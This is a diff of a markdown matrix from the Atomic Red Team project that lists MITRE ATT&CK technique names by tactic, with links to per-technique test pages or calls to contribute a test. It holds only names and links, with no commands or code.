-|  |  | [Windows Service](../../T1543.003/T1543.003.md) |  | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) |  | [Process Hollowing](../../T1055.012/T1055.012.md) |  |  |  |  |  |  |  |
-|  |  | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Process Injection](../../T1055/T1055.md) |  |  |  |  |  |  |  |
+| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | [Account Manipulation](../../T1098/T1098.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Window Discovery](../../T1010/T1010.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Accessibility Features](../../T1546.008/T1546.008.md) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AS-REP Roasting](../../T1558.004/T1558.004.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | [Distributed Component Object Model](../../T1021.003/T1021.003.md) | [Archive Collected Data](../../T1560/T1560.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Add Office 365 Global Administrator Role [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
+| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Add-ins](../../T1137.006/T1137.006.md) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [BITS Jobs](../../T1197/T1197.md) | [Bash History](../../T1552.003/T1552.003.md) | Cloud Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Library](../../T1560.002/T1560.002.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
+| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Additional Cloud Credentials](../../T1098.001/T1098.001.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [Binary Padding](../../T1027.001/T1027.001.md) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | [Exfiltration Over C2 Channel](../../T1041/T1041.md) | [DNS](../../T1071.004/T1071.004.md) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Administration Command](../../T1609/T1609.md) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Shimming](../../T1546.011/T1546.011.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cached Domain Credentials](../../T1003.005/T1003.005.md) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pass the Hash](../../T1550.002/T1550.002.md) | [Audio Capture](../../T1123/T1123.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Build Image on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pass the Ticket](../../T1550.003/T1550.003.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [External Remote Services](../../T1133/T1133.md) | [Cron](../../T1053.003/T1053.003.md) | [Application Shimming](../../T1546.011/T1546.011.md) | [At (Linux)](../../T1053.001/T1053.001.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | [Container API](../../T1552.007/T1552.007.md) | Cloud Storage Object Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RDP Hijacking](../../T1563.002/T1563.002.md) | Browser Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | [At (Windows)](../../T1053.002/T1053.002.md) | [CMSTP](../../T1218.003/T1218.003.md) | [Credential API Hooking](../../T1056.004/T1056.004.md) | Container and Resource Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote Desktop Protocol](../../T1021.001/T1021.001.md) | [Clipboard Data](../../T1115/T1115.md) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Local Accounts](../../T1078.003/T1078.003.md) | [Dynamic Data Exchange](../../T1559.002/T1559.002.md) | [At (Windows)](../../T1053.002/T1053.002.md) | [Authentication Package](../../T1547.002/T1547.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Credential Stuffing](../../T1110.004/T1110.004.md) | [Domain Account](../../T1087.002/T1087.002.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Code Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Web Service](../../T1567/T1567.md) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Authentication Package](../../T1547.002/T1547.002.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Clear Command History](../../T1070.003/T1070.003.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | [Domain Groups](../../T1069.002/T1069.002.md) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Confluence [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Replication Through Removable Media](../../T1091/T1091.md) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [BITS Jobs](../../T1197/T1197.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Linux or Mac System Logs](../../T1070.002/T1070.002.md) | [Credentials from Password Stores](../../T1555/T1555.md) | [Domain Trust Discovery](../../T1482/T1482.md) | [Replication Through Removable Media](../../T1091/T1091.md) | [Credential API Hooking](../../T1056.004/T1056.004.md) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Spearphishing Attachment](../../T1566.001/T1566.001.md) | Inter-Process Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | [Clear Windows Event Logs](../../T1070.001/T1070.001.md) | [Credentials from Web Browsers](../../T1555.003/T1555.003.md) | Email Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [SMB/Windows Admin Shares](../../T1021.002/T1021.002.md) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Encrypted Channel](../../T1573/T1573.md) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | [Credentials in Registry](../../T1552.002/T1552.002.md) | [File and Directory Discovery](../../T1083/T1083.md) | SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Inhibit System Recovery](../../T1490/T1490.md) |
+| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchctl](../../T1569.001/T1569.001.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | Code Signing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DCSync](../../T1003.006/T1003.006.md) | Group Policy Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Configuration Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Traffic Duplication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Internal Defacement](../../T1491.001/T1491.001.md) |
+| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchd](../../T1053.004/T1053.004.md) | [Browser Extensions](../../T1176/T1176.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Shared Webroot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Malicious File](../../T1204.002/T1204.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | [Compile After Delivery](../../T1027.004/T1027.004.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Account](../../T1087.001/T1087.001.md) | [Software Deployment Tools](../../T1072/T1072.md) | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Compiled HTML File](../../T1218.001/T1218.001.md) | [Forced Authentication](../../T1187/T1187.md) | [Local Groups](../../T1069.001/T1069.001.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Account](../../T1136.003/T1136.003.md) | [Create Process with Token](../../T1134.002/T1134.002.md) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Service Scanning](../../T1046/T1046.md) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
+|  | [Native API](../../T1106/T1106.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Control Panel](../../T1218.002/T1218.002.md) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Network Share Discovery](../../T1135/T1135.md) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | Network Device CLI [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Create Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Golden Ticket](../../T1558.001/T1558.001.md) | [Network Sniffing](../../T1040/T1040.md) | Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [PowerShell](../../T1059.001/T1059.001.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [Create Process with Token](../../T1134.002/T1134.002.md) | [Group Policy Preferences](../../T1552.006/T1552.006.md) | [Password Policy Discovery](../../T1201/T1201.md) | [Windows Remote Management](../../T1021.006/T1021.006.md) | [GUI Input Capture](../../T1056.002/T1056.002.md) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Stop](../../T1489/T1489.md) |
+|  | [Python](../../T1059.006/T1059.006.md) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Peripheral Device Discovery](../../T1120/T1120.md) |  | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [Scheduled Task](../../T1053.005/T1053.005.md) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Default Accounts](../../T1078.001/T1078.001.md) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [Kerberoasting](../../T1558.003/T1558.003.md) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Keylogging](../../T1056.001/T1056.001.md) |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
+|  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [Keychain](../../T1555.001/T1555.001.md) | [Process Discovery](../../T1057/T1057.md) |  | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) |  | [Non-Application Layer Protocol](../../T1095/T1095.md) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Default Accounts](../../T1078.001/T1078.001.md) | [Keylogging](../../T1056.001/T1056.001.md) | [Query Registry](../../T1012/T1012.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  | [Service Execution](../../T1569.002/T1569.002.md) | [Cron](../../T1053.003/T1053.003.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | Delete Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) | [Remote System Discovery](../../T1018/T1018.md) |  | [Local Email Collection](../../T1114.001/T1114.001.md) |  | [Non-Standard Port](../../T1571/T1571.md) |  |
+|  | Shared Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | [LSA Secrets](../../T1003.004/T1003.004.md) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  | [Software Deployment Tools](../../T1072/T1072.md) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [LSASS Memory](../../T1003.001/T1003.001.md) | [Software Discovery](../../T1518/T1518.md) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  | Source [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Default Accounts](../../T1078.001/T1078.001.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Direct Volume Access](../../T1006/T1006.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Checks](../../T1497.001/T1497.001.md) |  | Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  | System Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Account](../../T1136.002/T1136.002.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable Cloud Logs](../../T1562.008/T1562.008.md) | [NTDS](../../T1003.003/T1003.003.md) | [System Information Discovery](../../T1082/T1082.md) |  | SNMP (MIB Dump) [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Protocol Tunneling](../../T1572/T1572.md) |  |
+|  | [Systemd Timers](../../T1053.006/T1053.006.md) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Emond](../../T1546.014/T1546.014.md) | Disable Crypto Hardware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Screen Capture](../../T1113/T1113.md) |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+|  | [Unix Shell](../../T1059.004/T1059.004.md) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Escape to Host](../../T1611/T1611.md) | [Disable Windows Event Logging](../../T1562.002/T1562.002.md) | [Network Sniffing](../../T1040/T1040.md) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Sharepoint [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Remote Access Software](../../T1219/T1219.md) |  |
+|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disable or Modify Cloud Firewall [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [OS Credential Dumping](../../T1003/T1003.md) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | [Video Capture](../../T1125/T1125.md) |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
+|  | [Visual Basic](../../T1059.005/T1059.005.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify System Firewall](../../T1562.004/T1562.004.md) | [Password Cracking](../../T1110.002/T1110.002.md) | [System Network Connections Discovery](../../T1049/T1049.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
